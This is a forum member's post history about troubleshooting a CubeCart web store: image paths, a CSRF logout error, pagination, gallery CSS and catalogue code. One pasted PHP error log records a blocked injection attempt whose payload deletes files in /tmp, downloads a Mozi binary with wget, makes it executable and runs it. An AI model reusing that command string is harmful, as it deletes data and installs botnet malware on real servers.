Jump to content

Claudia

Member
  • Posts

    242
  • Joined

  • Last visited

  • Days Won

    2

Posts posted by Claudia

  1. Found the problem.  Part of my code looked like this for some reason.  Any ideas why?

    <ul>{foreach $GALLERY_ARRAY as $gallery_image}
                      {if $gallery_image@index > 0}
                      <li id="gallery_imageset_{$gallery_image.file_id}">
                         <img src="../../AAA%20CC%206.4.6/CC%206.4.6%20Download/Original%20Do%20Not%20Edit/admin/skins/default/templates/images/source/{$gallery_image.filepath}{$gallery_image.filename}" title="{$gallery_image.filepath}{$gallery_image.filename}" />
                      </li>

    Just saw I had similair in translations

       <input type="hidden" name="" id="">
                <a href="{$translation.edit}" title="{$translation.name}">
                 <img src="../../AAA%20CC%206.4.6/CC%206.4.6%20Download/Original%20Do%20Not%20Edit/admin/skins/default/templates/language/flags/{$translation.language}.png" alt="{$translation.name}"></a>
                &nbsp; <a href="{$translation.edit}" title="{$translation.name}">{$translation.name}</a>
             </div>

     

  2. Whenever I try to logout of admin I get this red banner and I cannot logout.  I have no other windows open and have not used the back button.

    Security Alert:  Possible Cross-Site request forgery (CSRF).  Please do no use multiple tabs/windows or the browser back button.

     

    cPanel error log (nothing in admin error log):

     

    [28-Jul-2022 00:38:55 America/Louisville] PHP Warning:  Invalid argument supplied for foreach() in /home/xxxxxx/public_html/modules/plugins/paypal_commerce/paypal.class.php on line 1170

    [28-Jul-2022 04:28:34 America/Louisville] PHP Warning:  Invalid Security Token in /home/xxxxxx/public_html/classes/sanitize.class.php on line 155

    [28-Jul-2022 04:28:35 America/Louisville] PHP Warning:  Invalid Security Token in /home/xxxxxx/public_html/classes/sanitize.class.php on line 155

    [28-Jul-2022 08:26:35 America/Louisville] PHP Warning:  Invalid Security Token in /home/xxxxxx/public_html/classes/sanitize.class.php on line 155

    [28-Jul-2022 09:43:43 America/Louisville] PHP Warning:  Security Warning: Illegal array key "images/" was detected and was removed. in /home/xxxxxx/public_html/classes/sanitize.class.php on line 114

    [28-Jul-2022 11:12:45 America/Louisville] PHP Warning:  Invalid Security Token in /home/xxxxxx/public_html/classes/sanitize.class.php on line 155

    [28-Jul-2022 11:12:55 America/Louisville] PHP Warning:  Invalid Security Token in /home/xxxxxx/public_html/classes/sanitize.class.php on line 155

    [28-Jul-2022 11:14:06 America/Louisville] PHP Warning:  Invalid Security Token in /home/xxxxxx/public_html/classes/sanitize.class.php on line 155

    [28-Jul-2022 11:14:17 America/Louisville] PHP Warning:  Invalid Security Token in /home/xxxxxx/public_html/classes/sanitize.class.php on line 155

    [28-Jul-2022 11:17:03 America/Louisville] PHP Warning:  Invalid Security Token in /home/xxxxxx/public_html/classes/sanitize.class.php on line 155

    [28-Jul-2022 11:17:05 America/Louisville] PHP Warning:  Invalid Security Token in /home/xxxxxx/public_html/classes/sanitize.class.php on line 155

    [28-Jul-2022 11:17:06 America/Louisville] PHP Warning:  Invalid Security Token in /home/xxxxxx/public_html/classes/sanitize.class.php on line 155

  3. I found the problem!

    In classes/catalouge I had this all on one line

       // START My do not show product on Cat Page if Sold    
    $where = " AND INV.available = '1'";
            $where2 = $this->outOfStockWhere(false, 'INV', true);
            if (($result = $GLOBALS['db']->query('SELECT I.product_id FROM `'.$GLOBALS['config']->get('config', 'dbprefix').'CubeCart_category_index` as I,  `'.$GLOBALS['config']->get('config', 'dbprefix').'CubeCart_inventory` as INV WHERE I.cat_id = '.$category_id.' AND I.product_id = INV.product_id AND INV.status = 1'.$where.$where2)) !== false) {
              // END My do not show product on Cat Page if Sold             $this->_category_count = $GLOBALS['db']->numrows();

     

  4. Don't forget my skin is highly modified.  Plus in admin I redid the product.index template for all the tabs to show on one page.   I made my own admin skin.  I tried using the foundation skin and the default admin skin but the pagination as in my CC644 store did not show.  I also compared my store settings to the one in the CC644 store and they are both the same.

  5. Not really.  Nothing stood out.  Here's the latest.  Other concerns PayPal commerce mostly!

    [11-Jul-2022 17:35:01 America/Louisville] PHP Notice:  Undefined variable: currency in /home/xxxx/public_html/modules/plugins/paypal_commerce/hooks/class.gui.head_js.php on line 60
    [11-Jul-2022 17:35:01 America/Louisville] PHP Notice:  Undefined variable: image in /home/xxxx/public_html/classes/catalogue.class.php on line 1585
    [11-Jul-2022 17:35:02 America/Louisville] PHP Notice:  Undefined variable: random_product in /home/xxxx/public_html/classes/gui.class.php on line 1326
    [11-Jul-2022 18:29:01 America/Louisville] PHP Warning:  Invalid Security Token in /home/xxxx/public_html/classes/sanitize.class.php on line 155
    [11-Jul-2022 21:29:30 America/Louisville] PHP Warning:  Security Warning: Illegal array key "images/" was detected and was removed. in /home/xxxx/public_html/classes/sanitize.class.php on line 114
    [11-Jul-2022 22:23:03 America/Louisville] PHP Warning:  Invalid Security Token in /home/xxxx/public_html/classes/sanitize.class.php on line 155
    [11-Jul-2022 22:58:16 America/Louisville] PHP Warning:  Security Warning: Illegal array key "cd_/tmp;rm_-rf_*;wget_http://192_168_1_1:8088/Mozi_a;chmod_777_Mozi_a;/tmp/Mozi_a_jaws" was detected and was removed. in /home/xxxx/public_html/classes/sanitize.class.php on line 114

     

  6. I just noticed that my V6.45 version store is not showing the pagination on the category page.  My coding, which is the same for my other store running V6.44, is as follows.   My skin/element.pagination is stock.. Any help to get this back would be appreciated

     

    TOP Pagination

    title="{$subcat.cat_name}">{$subcat.cat_name}</a></div>

       </li>

       {/foreach}

    </ul>

    <hr>

    {/if}

    {if $PAGINATION}

    <div class="row text-right right">

       <div class="small-6 medium-12 large-12 columns show-for-medium-up thinpad-top"> {include file='templates/element.paginate.php'}  </div>

    </div>

    {/if}

    <div id="ccScroll">

      <ul class="small-block-grid-1 medium-block-grid-3 large-block-grid-3 product_list" data-equalizer>

          {foreach from=$PRODUCTS item=product}

          {if $product.available == '0'}{continue}{/if}

          <li>

     

    BOTTOM Pagination

      <li>{$LANG.category.no_products}</li>

          {/if}

          {/foreach}

       </ul>

       {if $PAGINATION}

       <div class="row">

          <div class="small-12 large-9 columns">

             {$PAGINATION}

          </div>

         </div>

         {/if}

       <div class="hide" id="ccScrollCat">{$category.cat_id}</div>

     

     

    63014272_Capturepaginationtop.PNG.e0cfc7b1b5e0e051799df2291e00e2ad.PNG

     

    287406188_Capturepaginationbottom.PNG.e624762b56844e1c1717db431ad79dd8.PNG

  7. This is what I have now.

     

    image-gallery-layout-600.png.12569e4e88a01fa780143b9a015fcc0e.png

    I want the each row of thumbnails to hold at least 6 images (maybe more) instead of the five.

    I have changed this to add the sixth by adding another 1fr but it won't keep the change. Is there something else I need to change?

    #gallery_json ul {
        display: grid;
        grid-template-columns: 1fr 1fr 1fr 1fr 1fr;
        list-style-type: none;
        margin: 0;
        padding: 0;
    }

    Thanks in advance for any and all help

×
×
  • Create New...